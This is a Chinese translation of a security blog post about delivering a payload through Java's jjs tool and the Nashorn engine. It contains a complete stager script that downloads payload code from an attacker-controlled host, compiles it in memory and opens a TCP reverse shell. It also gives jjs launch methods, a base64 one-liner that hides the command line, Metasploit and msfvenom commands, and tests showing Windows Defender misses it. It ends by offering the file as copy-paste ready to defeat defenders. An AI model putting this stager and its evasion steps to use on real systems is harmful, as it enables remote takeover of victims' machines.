Java传输器之无招胜有招

2018-10-25 56475人围观 系统安全

前段时间在网上读了一篇有关java传输器的博客Java Stager without the Stager。该文讲述了利用java的jjs组件和Nashorn引擎下载并执行payload,由于该利用程序不含恶意代码因此免疫大部分杀软的查杀,又由于payload在内存中编译执行,许多实时防御系统也无法检测到。现将该文翻译如下:

最近我一直在研究java,实际上,这是本月出的第三篇博客。

博客一这篇文章里我展示了一个java传输器,用它可以下载payload,在内存中编译它并执行。

博客二 这篇文章里我介绍了利用jjs(jre环境组件,自java8引入)在安装了java的设备上做一些坏事。它通过调用Nashorn引擎以javascript语法访问java对象。

在本文中,我将综合以上两种方法通过Nashorn在“无”java传输器的情况下传送payload。

缺陷分析

我们重新分析一下传输器的目标及特性:

传输器是上传到目标主机的一个执行文件或脚本。

传输器必须是正常代码以躲避杀软的粗暴分析。

传输器接着通过HTTP将实际payload下载到内存,这也是躲避杀软策略的方法。

这种“躲入内存”的方法来源于James Williams发布在油管的视频《英特网太热》(~……~)。这段视频被一家杀毒厂商以版权问题强制临时下架,这使视频一下火了。目前已有3万2千的播放量,比第二名多了3万。而第二名是一段今年BSides Manchester会议的视频。

Nashorn Payload

我用牛逼的Nashorn引擎实现了一个和Java传输器一样的TCP反弹SHELL。老版本可以在这里看到:https://github.com/cornerpirate/java-stager/blob/master/src/main/java/TCPReverseShell.java下面是使用Nashorn的新版本:

    // 将这里改为攻击者主机地址    
    var host = "http:///";
    // 通过HTTP加载NnClassLoader
    load(host + "NnClassLoader.js");   

    // 使用NnClassLoader下载Janino和Apache的jar包
    // Obtain these Jar files and stick them in your web root
    var L = new NnClassLoader({ urls: [host + 'janino-3.0.8.jar', host + 'commons-compiler-3.0.8.jar']});
    var P = L.type('org.codehaus.janino.SimpleCompiler');
    var SimpleCompiler = L.type("org.codehaus.janino.SimpleCompiler");
   
    // 引入我们要用的对象
    var BufferedReader = Java.type("java.io.BufferedReader");
    var InputStreamReader = Java.type("java.io.InputStreamReader");
    var StringReader = Java.type("java.io.StringReader");
    var StringBuffer = Java.type("java.lang.StringBuffer");
    var Method = Java.type("java.lang.reflect.Method");
    var URL = Java.type("java.net.URL");
    var URLConnection = Java.type("java.net.URLConnection");

    // 将java传输器版的Payload.java文件放在攻击者的web server上
      // 由这段代码下载payload
    var payloadServer = new URL(host + "Payload.java");
    var yc = payloadServer.openConnection();
    var ins = new BufferedReader(new InputStreamReader(yc.getInputStream()));

    // 将代码读入内存中的字符串中
    var inputLine;
    var payloadCode = new StringBuffer();
    while ((inputLine = ins.readLine()) != null) {
       payloadCode.append(inputLine + "\n");
    }

    // 关闭输入流
    ins.close();
    print("[*] Downloaded payload");

    // 用Janino编译
    print("[*] Compiling ....");
    var compiler = new SimpleCompiler();
    compiler.cook(new StringReader(payloadCode.toString()));
    var compiled = compiler.getClassLoader().loadClass("Payload") ;

    // 通过反射机制执行run方法    print("[*] Executing ....");
    var runMeth = compiled.getMethod("Run");
    // 这种方式调用的是static型的run方法
    runMeth.invoke(null);    

    print("[*] Payload, payloading ....");

但愿注解能够说清它的原理。大致过程是这样:

下载NnClassLoader.js库,它可以加载特定类。

下载必需的两个java库(janino,comons-compiler),内存编译时需要它们。

下载payload并放入内存。

在内存中编译。

用反射机制执行payload对象的run方法来触发payload

就和前面文章的过程一模一样。

准备攻击者服务器

攻击者的服务器根目录下需要反之以下文件:

1. NnClassLoader

2. janino-3.0.8.jar

3. commons-compiler-3.0.8-jar

4. Payload.java

接着你可以启动metasploit的multi/handler模块并把payload设置为”generic/shell_reverse_tcp”。

攻击目标主机

再次声明:这里只是以研究为目的的攻击。你要做的是将上述Nashorn代码拷贝并粘入目标机器的文本编辑器,接下来你要做的是:

将Nashorn代码的host设置攻击者主机

保存js代码入磁盘,例如取名为“revshell.js”

使用jjs的话可以有3中方法运行“revshell.js”:

方法一:

    # 作为jjs的参数执行
    jjs path/to/revshell.js

该方法的优点是so easy,但缺点在于当你打开Sysinternals的进程管理器时,你会看到它会暴露payload的路径,这可不怎么好。

123.png

方法二:

    # 使用echo命令将标准输入通过管道发给jjs接口
    echo load("path/to/revshell.js")|jjs

再次查看进程管理器我们发现不再有路径信息暴露了。

321.png

方法三:

    # 在jjs交互态时输入命令    
    jjs
    jjs> load("path/to/revshell.js")

这种方法的效果和第二种一样。

全在内存里完成

上一步骤的过程不错,但仍旧会保存一份文件在磁盘中。如果你想全部在内存中完成,可以这样做:

上传你的”revshell.js”到你的web server并使用”load()”

或者直接粘贴revshell的代码到jjs的交互接口中去。

最后一步,是将你的payload用base64编码,然后只粘贴一行命令到jjs中。在windows环境下,你还可以用powershell、certutil来进行base64编码。当你有了base64版本的payload后,只要像下面这样把它粘入”ENCODED_TEXT”部分就行:

    echo eval(new java.lang.String(java.util.Base64.decoder.decode('ENCODED_TEXT'))); |jjs

它将会在Oracle已经签名过的jjs.exe的上下文中执行,同时也避免了输入参数出现在windows进程管理器中。

好吧,有东西存到磁盘了^_^

Sysinternals的进程管理器的过滤功能我们发现:

1.png

我发现我们的jjs(在这里是pid 3504)创建了临时文件:

2.png

这其实是NnClassLoader创建的,它们是janino和common-compiler包的副本。因为它们并非恶意代码,所以能通过任何安全软件的审查。以上就是我对上一版本的java传输器的改进。

汇总测试

首先是攻击者启动服务器并捕捉反弹回的shell:

3.png

如下是目标主机在执行echo base64(payload) | jjs后的结果:

4.png

Whoops!攻击成功了!

尝试触发杀软警报

java传输器和Nashorn例子中用的payload目前应该能躲过大多数杀软的策略。原因如下:

它们大多数是存在于内存中,一个经典的躲藏位置

payload出自我手。任何时候最有效的逃逸杀软办法就是自己写payload。如果目标主机的杀软没有特征码来匹配你的payload,那你几乎能为所欲为了。

正因如此,我想尝试在开启更新的Windows Defender中触发警报。我把Defender设置在high级别,接下我们用Eicar测试来触发警报。

加入Eicar

在我的目标虚拟机中,我用load()来获取eicar语句拷贝:

5.png

下载过程没有毛病但却无法执行,因为eicar语句并不是js语句。没有报警,说明访问扫描功能无法发现内存中的Eicar,同理我们藏payload的地方难以发现。<br>

为了触发警报,我不得不用java把Eicar语句写入磁盘,如下:

6.png

当执行到”fw.close()”的时刻Defender也触发了警报。

最后一次测试

我做的最后一次测试时直接用msfvenom直接生成一个未编码的payload,如下:

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f asp > shell.asp

然后我用load()下载它:

7.png

又一次Defender没有报警但它却执行失败了,同样因为它不是js文件。连msfvenom赤果果的payload都没报警我不知道还有什么需要测试了。

好了,你可以用它了,一个可以击败蓝军的只需复制粘贴就能做很多事的“空中”(原文为:离地的)文件。

参考文献

[1] https://github.com/NashornTools/NnClassLoader

[2] http://repo1.maven.org/maven2/org/codehaus/janino/janino/

[3] http://repo1.maven.org/maven2/org/codehaus/janino/commons-compiler/

*本文作者:l0stTemple,转载请注明来自FreeBuf.COM

取消
Loading...
css.php